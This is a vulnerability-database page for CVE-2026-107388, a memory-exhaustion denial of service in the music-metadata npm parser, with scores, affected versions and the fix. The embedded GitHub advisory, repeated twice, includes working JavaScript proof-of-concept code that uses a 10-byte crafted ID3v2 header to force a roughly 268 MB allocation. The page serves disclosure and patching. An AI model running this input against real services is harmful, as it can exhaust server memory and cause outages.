CVE-2026-107388
music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS
music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
6.2
music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS
music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.
- Record
CVE-2026-107388- CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789
- Updated
- 2026-11-02
EUVDEUVD-2026-95169
6.2
music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.
- Record
EUVD-2026-95169- CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jjpr-9cvf-cq55
6.2
music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS
Summary
The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.
Details
Vulnerable Code Path:
lib/id3v2/ID3v2Token.ts:108- Syncsafe size read without validationlib/id3v2/ID3v2Parser.ts:122- Full tag body allocated before readinglib/id3v2/AbstractID3Parser.ts:22- Allocation happens before stream validation
Root Cause:
The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:
- If the tag size exceeds the remaining file size
- If the tag size exceeds a reasonable maximum
- If the subsequent read will actually succeed
// ID3v2Token.ts:108
const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly
// Later: Allocates without validation
const tagBody = await tokenizer.readBuffer(Buffer.alloc(size));
// If actual data < size, read fails but allocation succeeded
Attack Mechanism:
- File contains valid ID3v2 header with 10 bytes total
- ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)
- Parser allocates 268 MB buffer
- Stream read fails (EOF) after 10 bytes
EndOfStreamErroris caught internally and silently handled- Caller receives normal metadata object
- 268 MB remains allocated until garbage collection
Affected Parsers: MP3 (primary), FLAC, DSF, Musepack
Memory Amplification: 10 bytes input → 268 MB allocation (26.8 million times amplification)
PoC
Complete reproduction steps:
import { parseBuffer } from 'music-metadata';
// Create a minimal ID3v2 file with maximum tag size but truncated content
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, // "ID3" identifier
0x04, 0x00, // Version 2.4.0
0x00, // Flags (no unsync, no extended header, etc)
0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes)
// File ends here - truncated
]);
console.log('Input file size:', maliciousFile.byteLength, 'bytes');
try {
const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
console.log('✓ Parse succeeded (no error thrown)');
console.log('✓ Metadata returned:', metadata);
console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');
} catch (error) {
console.error('✗ Unexpected error:', error.message);
}
To demonstrate memory impact:
Run with node --expose-gc to monitor allocations:
// Extended PoC to show memory usage
import { parseBuffer } from 'music-metadata';
import { performance } from 'perf_hooks';
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, 0x04, 0x00, 0x00,
0x7f, 0x7f, 0x7f, 0x7f
]);
// Force garbage collection before test
if (global.gc) global.gc();
const before = process.memoryUsage();
console.log('Memory before:', {
heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (before.external / 1024 / 1024).toFixed(2) + ' MB'
});
const start = performance.now();
await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
const duration = performance.now() - start;
const after = process.memoryUsage();
console.log('Memory after:', {
heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (after.external / 1024 / 1024).toFixed(2) + ' MB',
heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',
externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'
});
console.log('Parse time:', duration.toFixed(2) + ' ms');…
- Record
GHSA-jjpr-9cvf-cq55- CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789
- Updated
- 2026-11-02
NVD
6.2
music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.
- Record
CVE-2026-107388- CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789
- Updated
- 2026-11-02
OSV
6.2
music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS
music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.
- Record
CVE-2026-107388- CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789
- Updated
- 2026-11-02
OSVGHSA-jjpr-9cvf-cq55
6.2
music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS
Summary
The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.
Details
Vulnerable Code Path:
lib/id3v2/ID3v2Token.ts:108- Syncsafe size read without validationlib/id3v2/ID3v2Parser.ts:122- Full tag body allocated before readinglib/id3v2/AbstractID3Parser.ts:22- Allocation happens before stream validation
Root Cause:
The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:
- If the tag size exceeds the remaining file size
- If the tag size exceeds a reasonable maximum
- If the subsequent read will actually succeed
// ID3v2Token.ts:108
const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly
// Later: Allocates without validation
const tagBody = await tokenizer.readBuffer(Buffer.alloc(size));
// If actual data < size, read fails but allocation succeeded
Attack Mechanism:
- File contains valid ID3v2 header with 10 bytes total
- ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)
- Parser allocates 268 MB buffer
- Stream read fails (EOF) after 10 bytes
EndOfStreamErroris caught internally and silently handled- Caller receives normal metadata object
- 268 MB remains allocated until garbage collection
Affected Parsers: MP3 (primary), FLAC, DSF, Musepack
Memory Amplification: 10 bytes input → 268 MB allocation (26.8 million times amplification)
PoC
Complete reproduction steps:
import { parseBuffer } from 'music-metadata';
// Create a minimal ID3v2 file with maximum tag size but truncated content
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, // "ID3" identifier
0x04, 0x00, // Version 2.4.0
0x00, // Flags (no unsync, no extended header, etc)
0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes)
// File ends here - truncated
]);
console.log('Input file size:', maliciousFile.byteLength, 'bytes');
try {
const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
console.log('✓ Parse succeeded (no error thrown)');
console.log('✓ Metadata returned:', metadata);
console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');
} catch (error) {
console.error('✗ Unexpected error:', error.message);
}
To demonstrate memory impact:
Run with node --expose-gc to monitor allocations:
// Extended PoC to show memory usage
import { parseBuffer } from 'music-metadata';
import { performance } from 'perf_hooks';
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, 0x04, 0x00, 0x00,
0x7f, 0x7f, 0x7f, 0x7f
]);
// Force garbage collection before test
if (global.gc) global.gc();
const before = process.memoryUsage();
console.log('Memory before:', {
heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (before.external / 1024 / 1024).toFixed(2) + ' MB'
});
const start = performance.now();
await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
const duration = performance.now() - start;
const after = process.memoryUsage();
console.log('Memory after:', {
heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (after.external / 1024 / 1024).toFixed(2) + ' MB',
heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',
externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'
});
console.log('Parse time:', duration.toFixed(2) + ' ms');…
- Record
GHSA-jjpr-9cvf-cq55- CVSS 3.1
- 6.2 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
music-metadatanpm |
through 11.12.3 | 11.16.0 |
music-metadatanpm |
before 11.16.0 | 11.16.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-107388 is a medium vulnerability (CVSS 6.2) in Borewit Music-metadata, published October 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 9th percentile. Fixed in music-metadata 11.16.0.
References
github.com/Borewit/music-metadata/security/advisories/GHSA-jjpr-9cvf-cq55
github.com/Borewit/music-metadata/pull/2743
github.com/Borewit/music-metadata/commit/b033db675b913a9dba1d29135ec3c10eae7095a7
github.com/Borewit/music-metadata/releases/tag/v11.16.0
github.com/advisories/GHSA-jjpr-9cvf-cq55
github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107388.json
nvd.nist.gov/vuln/detail/CVE-2026-107388
github.com/Borewit/music-metadata
Left out here: the rest of 2 source descriptions. The JSON record has them.